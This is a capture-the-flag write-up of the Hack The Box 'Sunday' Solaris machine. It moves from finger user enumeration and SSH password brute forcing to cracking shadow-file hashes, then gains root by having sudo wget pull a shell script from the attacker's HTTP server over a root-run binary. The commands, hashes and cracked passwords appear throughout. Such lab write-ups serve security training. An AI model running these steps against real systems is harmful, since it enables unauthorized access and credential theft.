```
└──╼[ ]$ ping 10.129.88.186

└──╼[ ]$ nmap -Pn -T4 -A -v 10.129.88.186
Discovered open port 111/tcp on 10.129.88.186

└──╼[ ]$ nmap -Pn -T4 -A -v --top-ports 1000  10.129.88.186
PORT    STATE SERVICE VERSION
79/tcp  open  finger  Sun Solaris fingerd
|_finger: No one logged on\x0D
111/tcp open  rpcbind 2-4 (RPC #100000)
Service Info: OS: Solaris; CPE: cpe:/o:sun:sunos

└──╼[ ]$ sudo nmap -Pn -sS -T4 -A -p- -v 10.129.88.186
PORT      STATE SERVICE VERSION
79/tcp    open  finger  Sun Solaris fingerd
|_finger: ERROR: Script execution failed (use -d to debug)
111/tcp   open  rpcbind 2-4 (RPC #100000)
22022/tcp open  ssh     SunSSH 1.3 (protocol 2.0)
| ssh-hostkey:
|   1024 d2:e5:cb:bd:33:c7:01:31:0b:3c:63:d9:82:d9:f1:4e (DSA)
|_  1024 e4:2c:80:62:cf:15:17:79:ff:72:9d:df:8b:a6:c9:ac (RSA)
37188/tcp open  unknown
65194/tcp open  rpcbind

└──╼[ ]$ sudo nmap -Pn -sS -T4 -A -p 79,111,22022,37188,65194 -v 10.129.88.186
PORT      STATE SERVICE  VERSION
79/tcp    open  finger   Sun Solaris fingerd
|_finger: No one logged on\x0D
111/tcp   open  rpcbind?
22022/tcp open  ssh      SunSSH 1.3 (protocol 2.0)
| ssh-hostkey:
|   1024 d2:e5:cb:bd:33:c7:01:31:0b:3c:63:d9:82:d9:f1:4e (DSA)
|_  1024 e4:2c:80:62:cf:15:17:79:ff:72:9d:df:8b:a6:c9:ac (RSA)
37188/tcp open  unknown
65194/tcp open  unknown
Warning: OSScan results may be unreliable because we could not find at least 1 open
and 1 closed port
Aggressive OS guesses: Sun OpenSolaris 2008.11 (94%), Sun Solaris 10 (94%), Sun
Solaris 9 or 10, or OpenSolaris 2009.06 snv_111b (94%), Sun Solaris 9 or 10 (SPARC)
(92%), Sun Storage 7210 NAS device (92%), Sun Solaris 9 or 10 (92%), Oracle Solaris
11 (91%), Sun Solaris 8 (90%), Sun Solaris 9 (89%), Sun Solaris 8 (SPARC) (89%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 0.039 days (since Sat Jan 30 14:01:34 2021)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=149 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Solaris; CPE: cpe:/o:sun:sunos


A finger service is running on tcp/79.
SSH is running on tcp/22022

└──╼[ ]$ sudo apt install finger

└──╼[ ]$ finger user@10.129.88.186
Login       Name               TTY         Idle    When    Where
xvm      xVM User                          < .   .   .   . >
openldap OpenLDAP User                     < .   .   .   . >
```

```
nobody   NFS Anonymous Access               < .  .  .  . >
noaccess No Access User                     < .  .  .  . >
nobody4  SunOS 4.x NFS Anonym               < .  .  .  . >


Using the finger-user-enum.pl script, it is possible to find the  users by
enumerating the
Finger service with the  seclists username file  names.txt .

└──╼[ ]$ nano finger-user-enum.pl

└──╼[ ]$ chmod +x finger-user-enum.pl

└──╼[ ]$ nano names.txt

└──╼[ ]$ ./finger-user-enum.pl -U name.txt -t 10.129.88.186
Starting finger-user-enum v1.0 ( http://pentestmonkey.net/tools/finger-user-enum )

 ----------------------------------------------------------
|                   Scan Information                       |
 ----------------------------------------------------------

Worker Processes ......... 5
Usernames file ........... name.txt
Target count ............. 1
Username count ........... 10177
Target TCP port .......... 79
Query timeout ............ 5 secs
Relay Server ............. Not used

######## Scan started at Fri Jan 29 17:29:06 2021 #########
access@10.129.88.186: access No Access User                    < .  .  .  .
>..nobody4  SunOS 4.x NFS Anonym              < .  .  .  . >..
admin@10.129.88.186: Login       Name              TTY         Idle    When
Where..adm      Admin                           < .  .  .  . >..lp       Line
Printer Admin                < .  .  .  . >..uucp     uucp Admin
< .  .  .  . >..nuucp    uucp Admin                         < .  .  .  . >..dladm
Datalink Admin                   < .  .  .  . >..listen   Network Admin
< .  .  .  . >..
anne marie@10.129.88.186: Login       Name              TTY         Idle    When
Where..anne                  ???..marie                ???..
bin@10.129.88.186: bin             ???                          < .  .  .  . >..
dee dee@10.129.88.186: Login       Name              TTY         Idle    When
Where..dee                   ???..dee                  ???..
jo ann@10.129.88.186: Login       Name              TTY         Idle    When
Where..jo                    ???..ann                  ???..
la verne@10.129.88.186: Login       Name              TTY         Idle    When
Where..la                    ???..verne                ???..
line@10.129.88.186: Login       Name              TTY         Idle    When
Where..lp       Line Printer Admin               < .  .  .  . >..
message@10.129.88.186: Login       Name              TTY         Idle    When
Where..smmsp    SendMail Message Sub             < .  .  .  . >..
miof mela@10.129.88.186: Login       Name              TTY         Idle    When
Where..miof                  ???..mela                 ???..
root@10.129.88.186: root     Super-User            pts/3       <Apr 24, 2018>
..
sammy@10.129.88.186: sammy               console     <Oct 10 18:25>..
zsa zsa@10.129.88.186: Login       Name              TTY         Idle    When
```

```
Where..zsa                  ???..zsa                    ???..
######## Scan completed at Fri Jan 29 17:58:55 2021 #########


Results two users:
root@10.129.88.186: root     Super-User            pts/3        <Apr 24, 2018>
sammy@10.129.88.186: sammy                 console      <Oct 10 18:25>
sunny@10.129.88.186: sunny               console      <Jul 5 15:05>

└──╼[ ]$ ssh sammy@10.129.90.63 -p 22022
Unable to negotiate with 10.129.90.63 port 22022: no matching key exchange method
found. Their offer: gss-group1-sha1-toWM5Slw5Ew8Mqkay+al2g==,diffie-hellman-group-
exchange-sha1,diffie-hellman-group1-sha1

└──╼[ ]$ ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 sammy@10.129.90.63 -p
22022
Unable to negotiate with 10.129.90.63 port 22022: no matching cipher found. Their
offer: aes128-ctr,aes192-ctr,aes256-ctr,arcfour128,arcfour256,arcfour

└──╼[ ]$ ssh -c aes256-ctr sammy@10.129.90.63 -p 22022

└──╼[ ]$ ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 sammy@10.129.90.63 -p
22022
Password:


We can use patator to brute force an SSH login :
(https://github.com/lanjelot/patator)
└──╼[ ]$ git clone https://github.com/lanjelot/patator.git
└──╼[ ]$ git clone https://github.com/danielmiessler/SecLists.git

if needed install docker :
(https://gist.github.com/nuga99/dd5ac250b4c981186b5065d8affec7b49#file-docker-
install-parrot-sh)
└──╼[ ]$ curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add
-
└──╼[ ]$ echo "deb [arch=amd64] https://download.docker.com/linux/debian stretch
stable" └──  ╼[ ]$★sudo tee /etc/apt/sources.list.d/docker-engine.list
└──╼[ ]$ sudo apt-get update -y
└──╼[ ]$ sudo apt-get install -y docker-ce
└──╼[ ]$ sudo apt-get update -y


└──╼[ ]$ sudo docker build -t patator patator/

└──╼[ ]$ patator ssh_login host=10.129.90.63 port=22022 password=FILE0 0=/home/htb-
protosec/SecLists/Passwords/probable-v2-top12000.txt user=sammy -x
ignore:mesg='Authentication failed.'


Or we can use hydra :
hydra -V -I -l sunny -P '/home/htb-protosec/Downloads/rockyou.txt' 10.129.90.63 ssh -
s 22022

ssh password for sunny is sunday :

└──╼[ ]$ ssh sunny@10.129.90.63 -p 22022
Unable to negotiate with 10.129.90.63 port 22022: no matching key exchange method
```

```
found. Their offer: gss-group1-sha1-toWM5Slw5Ew8Mqkay+al2g==,diffie-hellman-group-
exchange-sha1,diffie-hellman-group1-sha1
┌─[eu-dedivip-2]─[10.10.14.60]─[htb-protosec@htb-fit6qemxfa]─[~]
└──╼ [ ]$ ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 sunny@10.129.90.63 -p
22022
The authenticity of host '[10.129.90.63]:22022 ([10.129.90.63]:22022)' can't be
established.
RSA key fingerprint is SHA256:TmRO9yKIj8Rr/KJIZFXEVswWZB/hic/jAHr78xGp+YU.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.129.90.63]:22022' (RSA) to the list of known hosts.
Password:
Password:
Last login: Tue Apr 24 10:48:11 2018 from 10.10.14.4
Sun Microsystems Inc.   SunOS 5.11      snv_111b        November 2008
sunny@sunday:~$

sunny@sunday:~$ cd Desktop
sunny@sunday:~/Desktop$ ls
addmoresoftware.desktop         register-opensolaris.desktop
opensolaris-next-steps.desktop
sunny@sunday:~/Desktop$ ls
addmoresoftware.desktop         register-opensolaris.desktop
opensolaris-next-steps.desktop

no user.txt file for sunny user

sunny@sunday:~/Desktop$ pwd
/export/home/sunny/Desktop
sunny@sunday:~/Desktop$ cd ..
sunny@sunday:~$ ls
Desktop  Documents  Downloads  local.cshrc  local.login  local.profile  Public
sunny@sunday:~$ cd ..
sunny@sunday:/export/home$ ls
sammy  sunny
sunny@sunday:/export/home$ find . -name "user.txt"
find: ./sammy/.gnome2: Permission denied
find: ./sammy/.gconf: Permission denied
./sammy/Desktop/user.txt
find: ./sammy/.gnome2_private: Permission denied
find: ./sammy/.nautilus/metafiles: Permission denied
find: ./sammy/.iiim: Permission denied
find: ./sammy/.gconfd: Permission denied
find: ./sammy/.dbus: Permission denied
find: ./sammy/.local/share/codeina/mozembed: Permission denied
find: ./sammy/.local/share/Trash: Permission denied
find: ./sammy/.chewing: Permission denied
sunny@sunday:/export/home$

sunny@sunday:/export/home/sammy/Desktop$ cat user.txt
cat: user.txt: Permission denied
sunny@sunday:/export/home/sammy/Desktop$ sudo -l
User sunny may run the following commands on this host:
    (root) NOPASSWD: /root/troll
sunny@sunday:/export/home/sammy/Desktop$

look around further and you find a strange folder “/backup” with a file named
“shadow.backup”
```

```
sunny@sunday:/export/home$ cd /
sunny@sunday:/$ ls
backup  cdrom    etc     kernel      media  opt       root   system  var
bin     dev      export  lib         mnt    platform  rpool  tmp
boot    devices  home    lost+found  net    proc      sbin   usr
sunny@sunday:/$ cd backup
sunny@sunday:/backup$ ls
agent22.backup  shadow.backup
sunny@sunday:/backup$ ls
agent22.backup  shadow.backup
sunny@sunday:/backup$ cat shadow.backup
mysql:NP:::::::
openldap:*LK*:::::::
webservd:*LK*:::::::
postgres:NP:::::::
svctag:*LK*:6445::::::
nobody:*LK*:6445::::::
noaccess:*LK*:6445::::::
nobody4:*LK*:6445::::::
sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::
sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::
sunny@sunday:/backup$
```

There are two SHA256 password hashes for users sammy and sunny

We can verify that by regenerating sunny’s password hash with the salt “iRMbpnBv” found in the backed-up shadow file :

```
mouloud@TERMINUS:~$ mkpasswd -m sha-256 -S iRMbpnBv sunday
$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3


└──╼[ ]$ nano sammy-hash.txt
$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB

└──╼[ ]$ john ./sammy-hash.txt  --wordlist=/home/htb-protosec/Downloads/rockyou.txt
Created directory: /home/htb-protosec/.john
Using default input encoding: UTF-8
Loaded 1 password hash (sha256crypt, crypt(3) $5$ [SHA256 512/512 AVX512BW 16x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
cooldude!        (?)
1g 0:00:00:12 DONE (2021-02-01 17:27) 0.07776g/s 15925p/s 15925c/s 15925C/s
infinitig35..bluemoon2
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```

sammy password is “cooldude!”

```
└──╼[ ]$ ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 sammy@10.129.90.63 -p
22022
Password:
Last login: Sat Oct 10 18:25:02 2020
Sun Microsystems Inc.   SunOS 5.11      snv_111b        November 2008
sammy@sunday:~/Desktop$ cat /export/home/sammy/Desktop/user.txt
a3d9498027ca********************
```

```
sammy@sunday:~$ sudo -l
User sammy may run the following commands on this host:
    (root) NOPASSWD: /usr/bin/wget
```

Running sudo -l as sammy reveals that it is possible to run sudo wget . By overwriting the /root/troll binary which sunny has access to, it is possible to achieve a root shell.

```
└──╼[ ]$ nano writeup.sh
#!/bin/bash

bash

└──╼[ ]$ chmod +x writeup.sh


└──╼[ ]$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...


sammy@sunday:~$ sudo wget -O /root/troll http://10.10.14.75:8000/writeup.sh
--23:16:05--  http://10.10.14.75:8000/writeup.sh
          => `/root/troll'
Connecting to 10.10.14.60:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 19 [text/x-sh]

100%[====================================>] 19            --.--K/s

23:16:05 (2.99 MB/s) - `/root/troll' saved [19/19]
sammy@sunday:~$
```

IN THE SAME TIME OPEN ANOTHER TERMINAL WINDOW
(Note that there is a script running which reverts the file to the original seemingly every second, so it helps to have two shells open and execute the commands quickly.)

```
└──╼[ ]$ ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 sunny@10.129.90.63 -p
22022
Password:
Last login: Mon Feb  1 21:56:59 2021 from 10.10.14.60
Sun Microsystems Inc.   SunOS 5.11      snv_111b        November 2008
sunny@sunday:~$ sudo /root/troll
testing
uid=0(root) gid=0(root)
sunny@sunday:~$ sudo /root/troll
root@sunday:/# cat /root/root.txt
fb40fab61d99********************
```